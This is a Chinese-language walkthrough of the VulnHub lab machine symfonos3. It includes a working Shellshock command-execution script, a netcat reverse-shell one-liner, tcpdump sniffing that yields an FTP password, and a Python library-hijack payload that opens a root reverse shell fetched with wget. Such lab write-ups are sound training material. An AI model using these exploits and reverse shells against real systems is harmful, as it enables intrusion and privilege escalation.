vulnhub >_ symfonos3
Published on 09 Nov 2020
symfonos3
FTP禁止匿名访问
http目录
看页面猜测underworld应该是/cgi-bin目录下的可执行文件,也就是应该存在shellshock,而主页源代码内的提示也提到underworld,先从这里入手。
shellshock,python shell脚本
#!/usr/bin/python
# 使用示例
# python shellshock_shell.py 192.168.56.1
# $ id
# uid=48(apache) gid=48(apache) groups=48(apache)
# $ pwd
# /var/www/cgi-bin
import requests, sys
from base64 import b64encode
victim_ip = sys.argv[1]
while True:
command = b64encode(raw_input('$ ').strip())
headers = {
'User-Agent': '() { :; }; echo \'Content-type: text/html\'; echo; export PATH=$PATH:/usr/bin:/bin:/sbin; echo \'%s\' | base64 -d | sh 2>&1' % command
}
print requests.get('http://192.168.43.226/cgi-bin/underworld', headers=headers).text.strip() #注意修改这里为目标地址路径。
shellshock 脚本所产生的shell,理论上是webshell为了更方便我们使用,在1337端口建立监听,并在shellshock中使用以下方式以获得更方便使用的shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.66 1337 >/tmp/f
先查看用户
使用脚本用来更进一步枚举
看来会使用密码登录proftpd
ftp是明文传输,我们可以尝试使用tcpdump进行浏览监测,从而尝试得到明文凭证
tcpdump -D #查看可监控的设备
tcpdump -v -i lo port 21 #实时监测并屏幕输出,由于目标是本机登录ftp,所以应该监听lo环回. 虽然能更快的找到答案,但结束时需要ctrl c ,会断掉shell
tcpdump -w file.pcap -i lo #输出到pcap文件,可以下载到kali使用wireshark分析。
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
hades:PTpZTfU4vxgzvRBE
ssh hades@192.168.43.226
我们之前已经通过枚举知道了root定时执行的一个脚本/opt/ftpclient/ftpclient.py
,但是之前没权限查看,现在再次尝试
看权限,显然无法对脚本做任何事情。(注。靶机是3.1版本已经修复了之前3.0版本直接可写的问题)
而脚本引用了ftplib
我们可以通过伪造lib提权。
检查lib文件夹权限
首先在kali本地伪造lib文件
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.66",1338))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
工作目录建立http服务
python -m SimpleHTTPServer 8080
备份靶机原库文件,并将伪造文件上传至靶机
mv ftplib.py ftplib.py.bak
wget http://192.168.43.66:8080/ftplib.py
在kali端口1338建立监听。root